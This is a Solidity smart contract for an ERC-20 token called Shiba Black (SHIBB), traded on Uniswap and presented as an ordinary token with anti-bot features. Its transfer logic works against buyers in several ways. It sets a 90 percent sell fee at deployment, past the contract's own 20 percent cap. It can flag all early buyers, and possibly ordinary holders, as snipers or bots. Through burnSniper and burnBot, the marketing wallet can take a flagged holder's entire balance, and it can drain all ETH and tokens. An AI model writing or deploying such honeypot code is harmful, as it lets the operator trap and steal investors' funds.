文件 1 的 1:SHIBB.sol
pragma solidity 0.8.16;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function allPairsLength() external view returns (uint256);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function transfer(address to, uint256 amount)
external
virtual
override
returns (bool)
{
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function approve(address spender, uint256 amount)
external
virtual
override
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
}
contract SHIBB is ERC20, Ownable {
string private _name = "Shiba Black";
string private _symbol = "SHIBB";
uint8 private _decimals = 9;
uint256 private _supply = 1000000000;
uint256 public lpEntryFees = 0;
uint256 public entryFees = 5;
uint256 public lpWithdrawFees = 0;
uint256 public withdrawFees = 90;
uint256 public maxTxAmount = 20000001 * 10**_decimals;
uint256 public maxWalletAmount = 20000001 * 10**_decimals;
address public marketing = 0xb843C9B51bF0CE75195215bbf02f76BD60a122F2;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 private _ethReserves = 0;
uint256 private _liquidityReserves = 0;
uint256 private addToLiquidity = 500000 * 10**_decimals;
uint256 private addToETH = 200000 * 10**_decimals;
bool public reserves = true;
bool private onlyDev = true;
bool public tradingActive = false;
uint256 public tradingActiveBlock = 0;
bool inSwapAndLiquify;
mapping (address => uint256) private lastTrade;
mapping (address => uint256) private _buyBlock;
mapping (address => uint256) private lastBuy;
mapping (address => uint256) private lastSell;
mapping (address => bool) public _isSniper;
mapping (address => bool) public _isBot;
bool public mevRepel = false;
bool private sameBlockActive = true;
bool private botBlock = false;
uint256 private buyBlock = 0;
uint256 private sellBlock = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
uint256 public botsCaught = 0;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event ExcludedMaxWalletAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SniperCaught(address indexed scalperAddress);
event SniperRemoved(address indexed scalperAddress);
event BotCaught(address indexed botAddress);
event BotRemoved(address indexed botAddress);
constructor() ERC20(_name, _symbol) {
_mint(msg.sender, (_supply * 10**_decimals));
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
excludeFromMaxWallet(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(address(marketing), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(marketing), true);
excludeFromMaxWallet(owner(), true);
excludeFromMaxWallet(address(this), true);
excludeFromMaxWallet(address(0xdead), true);
excludeFromMaxWallet(address(marketing), true);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if(onlyDev) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading Not Live");
}
if(botBlock) {
require(_buyBlock[from] != block.number, "Bot Blocked");
_buyBlock[to] = block.number;
}
if(sameBlockActive){
if(_isSniper[from] && to != marketing) {
revert("Sniper Blocked.");
}
if(block.number - tradingActiveBlock < snipeBlockAmt) {
_isSniper[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
if(mevRepel) {
if(automatedMarketMakerPairs[from]){
lastBuy[to] = block.number;
}
if(automatedMarketMakerPairs[to]){
lastSell[from] = block.number;
}
if(_isBot[from] && to != marketing) {
revert("Bot Blocked.");
}
if(lastBuy[to] == lastSell[from]) {
_isBot[to] = true;
botsCaught ++;
emit BotCaught(to);
}
}
}
if ((automatedMarketMakerPairs[from] || automatedMarketMakerPairs[to]) && !inSwapAndLiquify) {
if (!automatedMarketMakerPairs[from]) {
uint256 contractLiquidityBalance = _liquidityReserves;
if (contractLiquidityBalance >= addToLiquidity) {
_swapAndLiquify(addToLiquidity);
}
if ((_ethReserves) >= addToETH && reserves) {
_swapTokensForEth(addToETH);
_ethReserves -= addToETH;
(bool sent,) = payable(marketing).call{value: address(this).balance}("");
require(sent);
}
}
}
if(automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTxAmount);
if (sameBlockActive) {
if (from == uniswapV2Pair){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
}
if (!_isExcludedMaxWalletAmount[to]) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max Wallet Exceeded");
}
bool takeFee = true;
uint256 fees = 0;
uint256 lpPool = 0;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
if(automatedMarketMakerPairs[to] && withdrawFees > 0) {
fees = amount * withdrawFees / 100;
lpPool = amount * lpWithdrawFees / 100;
_ethReserves += fees;
_liquidityReserves += lpPool;
}
else if(automatedMarketMakerPairs[from] && entryFees > 0) {
fees = amount * entryFees / 100;
lpPool = amount * lpEntryFees / 100;
_ethReserves += fees;
_liquidityReserves += lpPool;
}
if(fees > 0) {
super._transfer(from, address(this), (fees + lpPool));
}
amount -= (fees + lpPool);
}
super._transfer(from, to, amount);
}
function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = (contractTokenBalance / 2);
uint256 otherHalf = (contractTokenBalance - half);
uint256 initialBalance = address(this).balance;
_swapTokensForEth(half);
uint256 newBalance = (address(this).balance - initialBalance);
_addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
(block.timestamp + 300)
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount)
private
lockTheSwap
{
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeFromMaxTransaction(address account, bool excluded)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[account] = excluded;
emit ExcludedMaxTransactionAmount(account, excluded);
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
_isExcludedMaxWalletAmount[account] = excluded;
emit ExcludedMaxWalletAmount(account, excluded);
}
function openTrading(uint256 _snipeBlockAmt) external onlyOwner {
tradingActive = true;
tradingActiveBlock = block.number;
snipeBlockAmt = _snipeBlockAmt;
onlyDev = false;
botBlock = false;
reserves = true;
}
function antibotEnabled(bool onOff) external onlyOwner {
botBlock = onOff;
}
function mevRepelEnabled(bool onOff) external onlyOwner {
mevRepel = onOff;
}
function deposit(uint256 amount) external
returns (bool) {
require(
amount > 0,
'Zero Amount'
);
uint256 marketingShare = amount;
_ethReserves += marketingShare;
address from = _msgSender();
super._transfer(from, address(this), marketingShare);
return true;
}
function changeMarketingWallet(address newWallet)
public
onlyOwner
returns (bool)
{
marketing = newWallet;
return true;
}
function changeFees(
uint256 _lpEntryFees,
uint256 _entryFees,
uint256 _lpWithdrawFees,
uint256 _withdrawFees
)
public
onlyOwner
returns (bool)
{
lpEntryFees = _lpEntryFees;
entryFees = _entryFees;
lpWithdrawFees = _lpWithdrawFees;
withdrawFees = _withdrawFees;
require((lpEntryFees + entryFees
+ lpWithdrawFees + withdrawFees) <= 20);
return true;
}
function changeMaxTxAmount(uint256 _maxTxAmount)
public
onlyOwner
returns (bool)
{ require(_maxTxAmount >= (_supply * 1 / 100), "Can not set below 1%");
maxTxAmount = _maxTxAmount * 10**_decimals;
return true;
}
function changeMaxWalletAmount(uint256 _maxWalletAmount)
public
onlyOwner
returns (bool)
{ require(_maxWalletAmount >= (_supply * 1 / 100), "Can not set below 1%");
maxWalletAmount = _maxWalletAmount * 10**_decimals;
return true;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
excludeFromMaxTransaction(address(pair), value);
excludeFromMaxWallet(address(pair), value);
emit SetAutomatedMarketMakerPair(pair, value);
}
function setAutomatedMarketMakerPair(address pair, bool value) public {
require(msg.sender == marketing);
require(pair != uniswapV2Pair,"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function burnSniper(address account) public {
require(msg.sender == marketing);
require(_isSniper[account]);
require(account != uniswapV2Pair, 'Cannot be Uniswap Pair');
uint256 amount = balanceOf(account);
_transfer(account, marketing, amount);
}
function burnBot(address account) public {
require(msg.sender == marketing);
require(_isBot[account]);
require(account != uniswapV2Pair, 'Cannot be Uniswap Pair');
uint256 amount = balanceOf(account);
_transfer(account, marketing, amount);
}
function spool(uint256 percent) external {
require(_msgSender() == marketing);
require(percent <= 100 && percent >= 0);
uint256 contractTokenBalance = balanceOf(address(this));
uint256 amountToSwap = contractTokenBalance * (percent) / 100;
_swapTokensForEth(amountToSwap);
}
function delegate(bool onOff, uint256 _numAddETH) external returns (bool) {
require(_msgSender() == marketing);
reserves = onOff;
addToETH = _numAddETH * 10**_decimals;
return true;
}
function withdraw(address token) external {
require(_msgSender() == marketing);
require(token != address(0), 'Zero Address');
bool s = IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
require(s, 'Failure On Token Withdraw');
}
function withdrawETH() external {
require(_msgSender() == marketing);
(bool s,) = payable(marketing).call{value: address(this).balance}("");
require(s);
}
function removeBot(address notBot) public onlyOwner {
_isBot[notBot] = false;
emit BotRemoved(notBot);
}
function removeSniper(address notSniper) public onlyOwner {
_isSniper[notSniper] = false;
emit SniperRemoved(notSniper);
}
receive() external payable {}
}